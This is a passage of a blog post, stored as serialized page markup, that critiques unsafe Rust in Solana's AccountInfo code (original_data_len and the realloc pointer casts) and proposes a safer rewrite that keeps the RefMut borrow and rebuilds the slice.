",{"type":26,"tag":83,"props":151083,"children":151085},{"className":151084},[],[151086],{"type":32,"value":93505},{"type":32,"value":151088}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":26,"tag":163,"props":151090,"children":151093},{"href":151091,"rel":151092},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[167],[151094],{"type":32,"value":151095},"this function",{"type":32,"value":1473},{"type":26,"tag":207,"props":151098,"children":151100},{"className":56140,"code":151099,"language":56139,"meta":8,"style":8},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[151101],{"type":26,"tag":83,"props":151102,"children":151103},{"__ignoreMap":8},[151104,151112,151120,151128,151136,151143,151151,151159,151207,151272,151336,151356],{"type":26,"tag":217,"props":151105,"children":151106},{"class":7028,"line":7029},[151107],{"type":26,"tag":217,"props":151108,"children":151109},{"style":7033},[151110],{"type":32,"value":151111},"/// Return the account's original data length when it was serialized for the\n",{"type":26,"tag":217,"props":151113,"children":151114},{"class":7028,"line":6770},[151115],{"type":26,"tag":217,"props":151116,"children":151117},{"style":7033},[151118],{"type":32,"value":151119},"/// current program invocation.\n",{"type":26,"tag":217,"props":151121,"children":151122},{"class":7028,"line":6779},[151123],{"type":26,"tag":217,"props":151124,"children":151125},{"style":7033},[151126],{"type":32,"value":151127},"///\n",{"type":26,"tag":217,"props":151129,"children":151130},{"class":7028,"line":7140},[151131],{"type":26,"tag":217,"props":151132,"children":151133},{"style":7033},[151134],{"type":32,"value":151135},"/// # Safety\n",{"type":26,"tag":217,"props":151137,"children":151138},{"class":7028,"line":7165},[151139],{"type":26,"tag":217,"props":151140,"children":151141},{"style":7033},[151142],{"type":32,"value":151127},{"type":26,"tag":217,"props":151144,"children":151145},{"class":7028,"line":7178},[151146],{"type":26,"tag":217,"props":151147,"children":151148},{"style":7033},[151149],{"type":32,"value":151150},"/// This method assumes that the original data length was serialized as a u32\n",{"type":26,"tag":217,"props":151152,"children":151153},{"class":7028,"line":7389},[151154],{"type":26,"tag":217,"props":151155,"children":151156},{"style":7033},[151157],{"type":32,"value":151158},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":26,"tag":217,"props":151160,"children":151161},{"class":7028,"line":7406},[151162,151166,151170,151174,151179,151183,151187,151191,151195,151199,151203],{"type":26,"tag":217,"props":151163,"children":151164},{"style":7154},[151165],{"type":32,"value":56830},{"type":26,"tag":217,"props":151167,"children":151168},{"style":7154},[151169],{"type":32,"value":148429},{"type":26,"tag":217,"props":151171,"children":151172},{"style":7154},[151173],{"type":32,"value":56835},{"type":26,"tag":217,"props":151175,"children":151176},{"style":7064},[151177],{"type":32,"value":151178}," original_data_len",{"type":26,"tag":217,"props":151180,"children":151181},{"style":7048},[151182],{"type":32,"value":1851},{"type":26,"tag":217,"props":151184,"children":151185},{"style":7149},[151186],{"type":32,"value":9804},{"type":26,"tag":217,"props":151188,"children":151189},{"style":7154},[151190],{"type":32,"value":91922},{"type":26,"tag":217,"props":151192,"children":151193},{"style":7048},[151194],{"type":32,"value":8380},{"type":26,"tag":217,"props":151196,"children":151197},{"style":7149},[151198],{"type":32,"value":10115},{"type":26,"tag":217,"props":151200,"children":151201},{"style":7119},[151202],{"type":32,"value":94410},{"type":26,"tag":217,"props":151204,"children":151205},{"style":7048},[151206],{"type":32,"value":8064},{"type":26,"tag":217,"props":151208,"children":151209},{"class":7028,"line":7439},[151210,151214,151219,151223,151227,151231,151236,151240,151244,151248,151252,151256,151260,151264,151268],{"type":26,"tag":217,"props":151211,"children":151212},{"style":7154},[151213],{"type":32,"value":77780},{"type":26,"tag":217,"props":151215,"children":151216},{"style":7054},[151217],{"type":32,"value":151218}," key_ptr",{"type":26,"tag":217,"props":151220,"children":151221},{"style":7149},[151222],{"type":32,"value":8993},{"type":26,"tag":217,"props":151224,"children":151225},{"style":7154},[151226],{"type":32,"value":92589},{"type":26,"tag":217,"props":151228,"children":151229},{"style":7149},[151230],{"type":32,"value":180},{"type":26,"tag":217,"props":151232,"children":151233},{"style":7048},[151234],{"type":32,"value":151235},"key ",{"type":26,"tag":217,"props":151237,"children":151238},{"style":7154},[151239],{"type":32,"value":91735},{"type":26,"tag":217,"props":151241,"children":151242},{"style":7149},[151243],{"type":32,"value":9690},{"type":26,"tag":217,"props":151245,"children":151246},{"style":7154},[151247],{"type":32,"value":74748},{"type":26,"tag":217,"props":151249,"children":151250},{"style":7054},[151251],{"type":32,"value":78641},{"type":26,"tag":217,"props":151253,"children":151254},{"style":7154},[151255],{"type":32,"value":97268},{"type":26,"tag":217,"props":151257,"children":151258},{"style":7149},[151259],{"type":32,"value":9690},{"type":26,"tag":217,"props":151261,"children":151262},{"style":7154},[151263],{"type":32,"value":74748},{"type":26,"tag":217,"props":151265,"children":151266},{"style":7119},[151267],{"type":32,"value":125491},{"type":26,"tag":217,"props":151269,"children":151270},{"style":7048},[151271],{"type":32,"value":7162},{"type":26,"tag":217,"props":151273,"children":151274},{"class":7028,"line":7487},[151275,151279,151284,151288,151292,151296,151300,151304,151308,151312,151316,151320,151324,151328,151332],{"type":26,"tag":217,"props":151276,"children":151277},{"style":7154},[151278],{"type":32,"value":77780},{"type":26,"tag":217,"props":151280,"children":151281},{"style":7054},[151282],{"type":32,"value":151283}," original_data_len_ptr",{"type":26,"tag":217,"props":151285,"children":151286},{"style":7149},[151287],{"type":32,"value":8993},{"type":26,"tag":217,"props":151289,"children":151290},{"style":7054},[151291],{"type":32,"value":151218},{"type":26,"tag":217,"props":151293,"children":151294},{"style":7149},[151295],{"type":32,"value":180},{"type":26,"tag":217,"props":151297,"children":151298},{"style":7064},[151299],{"type":32,"value":35030},{"type":26,"tag":217,"props":151301,"children":151302},{"style":7048},[151303],{"type":32,"value":1851},{"type":26,"tag":217,"props":151305,"children":151306},{"style":7149},[151307],{"type":32,"value":18420},{"type":26,"tag":217,"props":151309,"children":151310},{"style":7130},[151311],{"type":32,"value":10985},{"type":26,"tag":217,"props":151313,"children":151314},{"style":7048},[151315],{"type":32,"value":8380},{"type":26,"tag":217,"props":151317,"children":151318},{"style":7154},[151319],{"type":32,"value":91735},{"type":26,"tag":217,"props":151321,"children":151322},{"style":7149},[151323],{"type":32,"value":9690},{"type":26,"tag":217,"props":151325,"children":151326},{"style":7154},[151327],{"type":32,"value":74748},{"type":26,"tag":217,"props":151329,"children":151330},{"style":7119},[151331],{"type":32,"value":139784},{"type":26,"tag":217,"props":151333,"children":151334},{"style":7048},[151335],{"type":32,"value":7162},{"type":26,"tag":217,"props":151337,"children":151338},{"class":7028,"line":7524},[151339,151343,151348,151352],{"type":26,"tag":217,"props":151340,"children":151341},{"style":7149},[151342],{"type":32,"value":119793},{"type":26,"tag":217,"props":151344,"children":151345},{"style":7054},[151346],{"type":32,"value":151347},"original_data_len_ptr",{"type":26,"tag":217,"props":151349,"children":151350},{"style":7154},[151351],{"type":32,"value":97268},{"type":26,"tag":217,"props":151353,"children":151354},{"style":7119},[151355],{"type":32,"value":150764},{"type":26,"tag":217,"props":151357,"children":151358},{"class":7028,"line":7553},[151359],{"type":26,"tag":217,"props":151360,"children":151361},{"style":7048},[151362],{"type":32,"value":7184},{"type":26,"tag":39,"props":151364,"children":151365},{},[151366,151368,151373,151375,151380,151382,151387,151389,151394,151396,151403,151405,151412,151413,151420,151421,151428,151429,151436],{"type":32,"value":151367},"It's marked ",{"type":26,"tag":83,"props":151369,"children":151371},{"className":151370},[],[151372],{"type":32,"value":148195},{"type":32,"value":151374},", properly documented, but there's just one problem: we need this for ",{"type":26,"tag":83,"props":151376,"children":151378},{"className":151377},[],[151379],{"type":32,"value":147499},{"type":32,"value":151381},", which originally was not ",{"type":26,"tag":83,"props":151383,"children":151385},{"className":151384},[],[151386],{"type":32,"value":148195},{"type":32,"value":151388},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":26,"tag":83,"props":151390,"children":151392},{"className":151391},[],[151393],{"type":32,"value":148195},{"type":32,"value":151395}," block and added ",{"type":26,"tag":163,"props":151397,"children":151400},{"href":151398,"rel":151399},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[167],[151401],{"type":32,"value":151402},"a doc comment",{"type":32,"value":151404}," - adding to the ",{"type":26,"tag":163,"props":151406,"children":151409},{"href":151407,"rel":151408},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[167],[151410],{"type":32,"value":151411},"small",{"type":32,"value":19795},{"type":26,"tag":163,"props":151414,"children":151417},{"href":151415,"rel":151416},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[167],[151418],{"type":32,"value":151419},"pile",{"type":32,"value":19795},{"type":26,"tag":163,"props":151422,"children":151425},{"href":151423,"rel":151424},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[167],[151426],{"type":32,"value":151427},"of",{"type":32,"value":19795},{"type":26,"tag":163,"props":151430,"children":151433},{"href":151431,"rel":151432},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[167],[151434],{"type":32,"value":151435},"functions",{"type":32,"value":151437}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":26,"tag":27,"props":151439,"children":151441},{"id":151440},"towards-safer-unsafe",[151442,151444],{"type":32,"value":151443},"Towards safer ",{"type":26,"tag":83,"props":151445,"children":151447},{"className":151446},[],[151448],{"type":32,"value":148195},{"type":26,"tag":39,"props":151450,"children":151451},{},[151452,151454,151459,151461,151466,151468,151474],{"type":32,"value":151453},"Let's circle back to that main ",{"type":26,"tag":83,"props":151455,"children":151457},{"className":151456},[],[151458],{"type":32,"value":148195},{"type":32,"value":151460}," block inside ",{"type":26,"tag":83,"props":151462,"children":151464},{"className":151463},[],[151465],{"type":32,"value":147499},{"type":32,"value":151467}," for a bit, shall we? As a reminder, it looks like ",{"type":26,"tag":163,"props":151469,"children":151472},{"href":151470,"rel":151471},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[167],[151473],{"type":32,"value":17968},{"type":32,"value":1473},{"type":26,"tag":207,"props":151476,"children":151478},{"className":56140,"code":151477,"language":56139,"meta":8,"style":8},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[151479],{"type":26,"tag":83,"props":151480,"children":151481},{"__ignoreMap":8},[151482,151490,151501,151509,151596,151627,151634,151642,151769,151800],{"type":26,"tag":217,"props":151483,"children":151484},{"class":7028,"line":7029},[151485],{"type":26,"tag":217,"props":151486,"children":151487},{"style":7033},[151488],{"type":32,"value":151489},"// realloc\n",{"type":26,"tag":217,"props":151491,"children":151492},{"class":7028,"line":6770},[151493,151497],{"type":26,"tag":217,"props":151494,"children":151495},{"style":7154},[151496],{"type":32,"value":148195},{"type":26,"tag":217,"props":151498,"children":151499},{"style":7048},[151500],{"type":32,"value":8064},{"type":26,"tag":217,"props":151502,"children":151503},{"class":7028,"line":6779},[151504],{"type":26,"tag":217,"props":151505,"children":151506},{"style":7033},[151507],{"type":32,"value":151508},"    // First set new length in the serialized data\n",{"type":26,"tag":217,"props":151510,"children":151511},{"class":7028,"line":7140},[151512,151516,151520,151524,151528,151532,151536,151540,151544,151548,151552,151556,151560,151564,151568,151572,151576,151580,151584,151588,151592],{"type":26,"tag":217,"props":151513,"children":151514},{"style":7154},[151515],{"type":32,"value":77780},{"type":26,"tag":217,"props":151517,"children":151518},{"style":7054},[151519],{"type":32,"value":120800},{"type":26,"tag":217,"props":151521,"children":151522},{"style":7149},[151523],{"type":32,"value":8993},{"type":26,"tag":217,"props":151525,"children":151526},{"style":7154},[151527],{"type":32,"value":92589},{"type":26,"tag":217,"props":151529,"children":151530},{"style":7149},[151531],{"type":32,"value":180},{"type":26,"tag":217,"props":151533,"children":151534},{"style":7064},[151535],{"type":32,"value":123973},{"type":26,"tag":217,"props":151537,"children":151538},{"style":7048},[151539],{"type":32,"value":78002},{"type":26,"tag":217,"props":151541,"children":151542},{"style":7149},[151543],{"type":32,"value":91725},{"type":26,"tag":217,"props":151545,"children":151546},{"style":7064},[151547],{"type":32,"value":147735},{"type":26,"tag":217,"props":151549,"children":151550},{"style":7048},[151551],{"type":32,"value":78002},{"type":26,"tag":217,"props":151553,"children":151554},{"style":7149},[151555],{"type":32,"value":180},{"type":26,"tag":217,"props":151557,"children":151558},{"style":7064},[151559],{"type":32,"value":35030},{"type":26,"tag":217,"props":151561,"children":151562},{"style":7048},[151563],{"type":32,"value":1851},{"type":26,"tag":217,"props":151565,"children":151566},{"style":7149},[151567],{"type":32,"value":18420},{"type":26,"tag":217,"props":151569,"children":151570},{"style":7130},[151571],{"type":32,"value":27891},{"type":26,"tag":217,"props":151573,"children":151574},{"style":7048},[151575],{"type":32,"value":8380},{"type":26,"tag":217,"props":151577,"children":151578},{"style":7154},[151579],{"type":32,"value":91735},{"type":26,"tag":217,"props":151581,"children":151582},{"style":7149},[151583],{"type":32,"value":9690},{"type":26,"tag":217,"props":151585,"children":151586},{"style":7154},[151587],{"type":32,"value":90786},{"type":26,"tag":217,"props":151589,"children":151590},{"style":7119},[151591],{"type":32,"value":91146},{"type":26,"tag":217,"props":151593,"children":151594},{"style":7048},[151595],{"type":32,"value":7162},{"type":26,"tag":217,"props":151597,"children":151598},{"class":7028,"line":7165},[151599,151603,151607,151611,151615,151619,151623],{"type":26,"tag":217,"props":151600,"children":151601},{"style":7149},[151602],{"type":32,"value":119793},{"type":26,"tag":217,"props":151604,"children":151605},{"style":7054},[151606],{"type":32,"value":12350},{"type":26,"tag":217,"props":151608,"children":151609},{"style":7149},[151610],{"type":32,"value":8993},{"type":26,"tag":217,"props":151612,"children":151613},{"style":7054},[151614],{"type":32,"value":147803},{"type":26,"tag":217,"props":151616,"children":151617},{"style":7154},[151618],{"type":32,"value":97268},{"type":26,"tag":217,"props":151620,"children":151621},{"style":7119},[151622],{"type":32,"value":91146},{"type":26,"tag":217,"props":151624,"children":151625},{"style":7048},[151626],{"type":32,"value":7162},{"type":26,"tag":217,"props":151628,"children":151629},{"class":7028,"line":7178},[151630],{"type":26,"tag":217,"props":151631,"children":151632},{"emptyLinePlaceholder":17},[151633],{"type":32,"value":7817},{"type":26,"tag":217,"props":151635,"children":151636},{"class":7028,"line":7389},[151637],{"type":26,"tag":217,"props":151638,"children":151639},{"style":7033},[151640],{"type":32,"value":151641},"    // Then set the new length in the local slice\n",{"type":26,"tag":217,"props":151643,"children":151644},{"class":7028,"line":7406},[151645,151649,151653,151657,151661,151665,151669,151673,151677,151681,151685,151689,151693,151697,151701,151705,151709,151713,151717,151721,151725,151729,151733,151737,151741,151745,151749,151753,151757,151761,151765],{"type":26,"tag":217,"props":151646,"children":151647},{"style":7154},[151648],{"type":32,"value":77780},{"type":26,"tag":217,"props":151650,"children":151651},{"style":7054},[151652],{"type":32,"value":120800},{"type":26,"tag":217,"props":151654,"children":151655},{"style":7149},[151656],{"type":32,"value":8993},{"type":26,"tag":217,"props":151658,"children":151659},{"style":7149},[151660],{"type":32,"value":10222},{"type":26,"tag":217,"props":151662,"children":151663},{"style":7154},[151664],{"type":32,"value":90786},{"type":26,"tag":217,"props":151666,"children":151667},{"style":7149},[151668],{"type":32,"value":9690},{"type":26,"tag":217,"props":151670,"children":151671},{"style":7048},[151672],{"type":32,"value":147862},{"type":26,"tag":217,"props":151674,"children":151675},{"style":7154},[151676],{"type":32,"value":91922},{"type":26,"tag":217,"props":151678,"children":151679},{"style":7149},[151680],{"type":32,"value":180},{"type":26,"tag":217,"props":151682,"children":151683},{"style":7048},[151684],{"type":32,"value":33715},{"type":26,"tag":217,"props":151686,"children":151687},{"style":7149},[151688],{"type":32,"value":180},{"type":26,"tag":217,"props":151690,"children":151691},{"style":7064},[151692],{"type":32,"value":147883},{"type":26,"tag":217,"props":151694,"children":151695},{"style":7048},[151696],{"type":32,"value":61808},{"type":26,"tag":217,"props":151698,"children":151699},{"style":7154},[151700],{"type":32,"value":91735},{"type":26,"tag":217,"props":151702,"children":151703},{"style":7149},[151704],{"type":32,"value":9690},{"type":26,"tag":217,"props":151706,"children":151707},{"style":7154},[151708],{"type":32,"value":74748},{"type":26,"tag":217,"props":151710,"children":151711},{"style":7119},[151712],{"type":32,"value":91146},{"type":26,"tag":217,"props":151714,"children":151715},{"style":7048},[151716],{"type":32,"value":1889},{"type":26,"tag":217,"props":151718,"children":151719},{"style":7149},[151720],{"type":32,"value":180},{"type":26,"tag":217,"props":151722,"children":151723},{"style":7064},[151724],{"type":32,"value":35030},{"type":26,"tag":217,"props":151726,"children":151727},{"style":7048},[151728],{"type":32,"value":1851},{"type":26,"tag":217,"props":151730,"children":151731},{"style":7130},[151732],{"type":32,"value":185},{"type":26,"tag":217,"props":151734,"children":151735},{"style":7048},[151736],{"type":32,"value":8380},{"type":26,"tag":217,"props":151738,"children":151739},{"style":7154},[151740],{"type":32,"value":91735},{"type":26,"tag":217,"props":151742,"children":151743},{"style":7119},[151744],{"type":32,"value":91146},{"type":26,"tag":217,"props":151746,"children":151747},{"style":7048},[151748],{"type":32,"value":8380},{"type":26,"tag":217,"props":151750,"children":151751},{"style":7154},[151752],{"type":32,"value":91735},{"type":26,"tag":217,"props":151754,"children":151755},{"style":7149},[151756],{"type":32,"value":9690},{"type":26,"tag":217,"props":151758,"children":151759},{"style":7154},[151760],{"type":32,"value":90786},{"type":26,"tag":217,"props":151762,"children":151763},{"style":7119},[151764],{"type":32,"value":91146},{"type":26,"tag":217,"props":151766,"children":151767},{"style":7048},[151768],{"type":32,"value":7669},{"type":26,"tag":217,"props":151770,"children":151771},{"class":7028,"line":7439},[151772,151776,151780,151784,151788,151792,151796],{"type":26,"tag":217,"props":151773,"children":151774},{"style":7149},[151775],{"type":32,"value":119793},{"type":26,"tag":217,"props":151777,"children":151778},{"style":7054},[151779],{"type":32,"value":12350},{"type":26,"tag":217,"props":151781,"children":151782},{"style":7149},[151783],{"type":32,"value":8993},{"type":26,"tag":217,"props":151785,"children":151786},{"style":7054},[151787],{"type":32,"value":147803},{"type":26,"tag":217,"props":151789,"children":151790},{"style":7154},[151791],{"type":32,"value":97268},{"type":26,"tag":217,"props":151793,"children":151794},{"style":7119},[151795],{"type":32,"value":91146},{"type":26,"tag":217,"props":151797,"children":151798},{"style":7048},[151799],{"type":32,"value":7162},{"type":26,"tag":217,"props":151801,"children":151802},{"class":7028,"line":7487},[151803],{"type":26,"tag":217,"props":151804,"children":151805},{"style":7048},[151806],{"type":32,"value":7184},{"type":26,"tag":39,"props":151808,"children":151809},{},[151810,151812,151817],{"type":32,"value":151811},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":26,"tag":83,"props":151813,"children":151815},{"className":151814},[],[151816],{"type":32,"value":149319},{"type":32,"value":151818}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":26,"tag":39,"props":151820,"children":151821},{},[151822,151824,151829,151831,151836,151838,151843,151845,151850,151852,151857,151859,151865,151867,151877,151879,151889],{"type":32,"value":151823},"First, let's deal with the ",{"type":26,"tag":83,"props":151825,"children":151827},{"className":151826},[],[151828],{"type":32,"value":149319},{"type":32,"value":151830}," borrowing issue. When we ",{"type":26,"tag":83,"props":151832,"children":151834},{"className":151833},[],[151835],{"type":32,"value":123973},{"type":32,"value":151837},", we get a ",{"type":26,"tag":83,"props":151839,"children":151841},{"className":151840},[],[151842],{"type":32,"value":150533},{"type":32,"value":151844}," back, which represents our borrow of the ",{"type":26,"tag":83,"props":151846,"children":151848},{"className":151847},[],[151849],{"type":32,"value":149319},{"type":32,"value":151851},"'s data. The fix here is simple: keep that ",{"type":26,"tag":83,"props":151853,"children":151855},{"className":151854},[],[151856],{"type":32,"value":150533},{"type":32,"value":151858}," around and use it to access the data, instead of using ",{"type":26,"tag":83,"props":151860,"children":151862},{"className":151861},[],[151863],{"type":32,"value":151864},"RefCell::as_ptr",{"type":32,"value":151866},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":26,"tag":98386,"props":151868,"children":151869},{},[151870],{"type":26,"tag":163,"props":151871,"children":151875},{"href":151872,"ariaDescribedBy":151873,"dataFootnoteRef":8,"id":151874},"#user-content-fn-rustc-llvm",[98393],"user-content-fnref-rustc-llvm",[151876],{"type":32,"value":10985},{"type":32,"value":151878}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":26,"tag":98386,"props":151880,"children":151881},{},[151882],{"type":26,"tag":163,"props":151883,"children":151887},{"href":151884,"ariaDescribedBy":151885,"dataFootnoteRef":8,"id":151886},"#user-content-fn-godbolt",[98393],"user-content-fnref-godbolt",[151888],{"type":32,"value":25499},{"type":32,"value":151890},". So then we get:",{"type":26,"tag":207,"props":151892,"children":151894},{"className":56140,"code":151893,"language":56139,"meta":8,"style":8},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[151895],{"type":26,"tag":83,"props":151896,"children":151897},{"__ignoreMap":8},[151898,151941,151948,151955,152039,152078,152085,152092],{"type":26,"tag":217,"props":151899,"children":151900},{"class":7028,"line":7029},[151901,151905,151909,151913,151917,151921,151925,151929,151933,151937],{"type":26,"tag":217,"props":151902,"children":151903},{"style":7154},[151904],{"type":32,"value":12470},{"type":26,"tag":217,"props":151906,"children":151907},{"style":7154},[151908],{"type":32,"value":94619},{"type":26,"tag":217,"props":151910,"children":151911},{"style":7054},[151912],{"type":32,"value":57077},{"type":26,"tag":217,"props":151914,"children":151915},{"style":7149},[151916],{"type":32,"value":8993},{"type":26,"tag":217,"props":151918,"children":151919},{"style":7154},[151920],{"type":32,"value":92589},{"type":26,"tag":217,"props":151922,"children":151923},{"style":7149},[151924],{"type":32,"value":180},{"type":26,"tag":217,"props":151926,"children":151927},{"style":7064},[151928],{"type":32,"value":123973},{"type":26,"tag":217,"props":151930,"children":151931},{"style":7048},[151932],{"type":32,"value":78002},{"type":26,"tag":217,"props":151934,"children":151935},{"style":7149},[151936],{"type":32,"value":605},{"type":26,"tag":217,"props":151938,"children":151939},{"style":7048},[151940],{"type":32,"value":7162},{"type":26,"tag":217,"props":151942,"children":151943},{"class":7028,"line":6770},[151944],{"type":26,"tag":217,"props":151945,"children":151946},{"emptyLinePlaceholder":17},[151947],{"type":32,"value":7817},{"type":26,"tag":217,"props":151949,"children":151950},{"class":7028,"line":6779},[151951],{"type":26,"tag":217,"props":151952,"children":151953},{"style":7033},[151954],{"type":32,"value":148242},{"type":26,"tag":217,"props":151956,"children":151957},{"class":7028,"line":7140},[151958,151962,151966,151970,151974,151978,151982,151986,151990,151994,151998,152002,152006,152010,152014,152019,152023,152027,152031,152035],{"type":26,"tag":217,"props":151959,"children":151960},{"style":7154},[151961],{"type":32,"value":12470},{"type":26,"tag":217,"props":151963,"children":151964},{"style":7054},[151965],{"type":32,"value":120800},{"type":26,"tag":217,"props":151967,"children":151968},{"style":7149},[151969],{"type":32,"value":8993},{"type":26,"tag":217,"props":151971,"children":151972},{"style":7154},[151973],{"type":32,"value":148429},{"type":26,"tag":217,"props":151975,"children":151976},{"style":7048},[151977],{"type":32,"value":65337},{"type":26,"tag":217,"props":151979,"children":151980},{"style":7054},[151981],{"type":32,"value":149135},{"type":26,"tag":217,"props":151983,"children":151984},{"style":7149},[151985],{"type":32,"value":180},{"type":26,"tag":217,"props":151987,"children":151988},{"style":7064},[151989],{"type":32,"value":147735},{"type":26,"tag":217,"props":151991,"children":151992},{"style":7048},[151993],{"type":32,"value":78002},{"type":26,"tag":217,"props":151995,"children":151996},{"style":7149},[151997],{"type":32,"value":180},{"type":26,"tag":217,"props":151999,"children":152000},{"style":7064},[152001],{"type":32,"value":35030},{"type":26,"tag":217,"props":152003,"children":152004},{"style":7048},[152005],{"type":32,"value":1851},{"type":26,"tag":217,"props":152007,"children":152008},{"style":7149},[152009],{"type":32,"value":18420},{"type":26,"tag":217,"props":152011,"children":152012},{"style":7130},[152013],{"type":32,"value":27891},{"type":26,"tag":217,"props":152015,"children":152016},{"style":7048},[152017],{"type":32,"value":152018},") } ",{"type":26,"tag":217,"props":152020,"children":152021},{"style":7154},[152022],{"type":32,"value":91735},{"type":26,"tag":217,"props":152024,"children":152025},{"style":7149},[152026],{"type":32,"value":9690},{"type":26,"tag":217,"props":152028,"children":152029},{"style":7154},[152030],{"type":32,"value":90786},{"type":26,"tag":217,"props":152032,"children":152033},{"style":7119},[152034],{"type":32,"value":91146},{"type":26,"tag":217,"props":152036,"children":152037},{"style":7048},[152038],{"type":32,"value":7162},{"type":26,"tag":217,"props":152040,"children":152041},{"class":7028,"line":7165},[152042,152046,152050,152054,152058,152062,152066,152070,152074],{"type":26,"tag":217,"props":152043,"children":152044},{"style":7154},[152045],{"type":32,"value":148195},{"type":26,"tag":217,"props":152047,"children":152048},{"style":7048},[152049],{"type":32,"value":65337},{"type":26,"tag":217,"props":152051,"children":152052},{"style":7149},[152053],{"type":32,"value":10006},{"type":26,"tag":217,"props":152055,"children":152056},{"style":7054},[152057],{"type":32,"value":12350},{"type":26,"tag":217,"props":152059,"children":152060},{"style":7149},[152061],{"type":32,"value":8993},{"type":26,"tag":217,"props":152063,"children":152064},{"style":7054},[152065],{"type":32,"value":147803},{"type":26,"tag":217,"props":152067,"children":152068},{"style":7154},[152069],{"type":32,"value":97268},{"type":26,"tag":217,"props":152071,"children":152072},{"style":7119},[152073],{"type":32,"value":91146},{"type":26,"tag":217,"props":152075,"children":152076},{"style":7048},[152077],{"type":32,"value":96070},{"type":26,"tag":217,"props":152079,"children":152080},{"class":7028,"line":7178},[152081],{"type":26,"tag":217,"props":152082,"children":152083},{"emptyLinePlaceholder":17},[152084],{"type":32,"value":7817},{"type":26,"tag":217,"props":152086,"children":152087},{"class":7028,"line":7389},[152088],{"type":26,"tag":217,"props":152089,"children":152090},{"style":7033},[152091],{"type":32,"value":149942},{"type":26,"tag":217,"props":152093,"children":152094},{"class":7028,"line":7406},[152095,152099,152103,152107,152111,152116,152120,152124,152128,152133,152137,152141,152145,152149,152153,152157],{"type":26,"tag":217,"props":152096,"children":152097},{"style":7149},[152098],{"type":32,"value":10006},{"type":26,"tag":217,"props":152100,"children":152101},{"style":7054},[152102],{"type":32,"value":149135},{"type":26,"tag":217,"props":152104,"children":152105},{"style":7149},[152106],{"type":32,"value":8993},{"type":26,"tag":217,"props":152108,"children":152109},{"style":7154},[152110],{"type":32,"value":148429},{"type":26,"tag":217,"props":152112,"children":152113},{"style":7048},[152114],{"type":32,"value":152115}," { std",{"type":26,"tag":217,"props":152117,"children":152118},{"style":7149},[152119],{"type":32,"value":56166},{"type":26,"tag":217,"props":152121,"children":152122},{"style":7048},[152123],{"type":32,"value":149135},{"type":26,"tag":217,"props":152125,"children":152126},{"style":7149},[152127],{"type":32,"value":56166},{"type":26,"tag":217,"props":152129,"children":152130},{"style":7064},[152131],{"type":32,"value":152132},"from_raw_parts_mut",{"type":26,"tag":217,"props":152134,"children":152135},{"style":7048},[152136],{"type":32,"value":1851},{"type":26,"tag":217,"props":152138,"children":152139},{"style":7054},[152140],{"type":32,"value":149135},{"type":26,"tag":217,"props":152142,"children":152143},{"style":7149},[152144],{"type":32,"value":180},{"type":26,"tag":217,"props":152146,"children":152147},{"style":7064},[152148],{"type":32,"value":147735},{"type":26,"tag":217,"props":152150,"children":152151},{"style":7048},[152152],{"type":32,"value":59809},{"type":26,"tag":217,"props":152154,"children":152155},{"style":7054},[152156],{"type":32,"value":147579},{"type":26,"tag":217,"props":152158,"children":152159},{"style":7048},[152160],{"type":32,"value":148580},{"type":26,"tag":39,"props":152162,"children":152163},{},[152164,152166,152171,152173,152178,152180,152185,152187],{"type":32,"value":152165},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":26,"tag":83,"props":152167,"children":152169},{"className":152168},[],[152170],{"type":32,"value":120978},{"type":32,"value":152172}," and not a ",{"type":26,"tag":83,"props":152174,"children":152176},{"className":152175},[],[152177],{"type":32,"value":144534},{"type":32,"value":152179}," for the size field, given that ",{"type":26,"tag":83,"props":152181,"children":152183},{"className":152182},[],[152184],{"type":32,"value":144534},{"type":32,"value":152186}," is architecture-dependent), and no dependency on slice reference 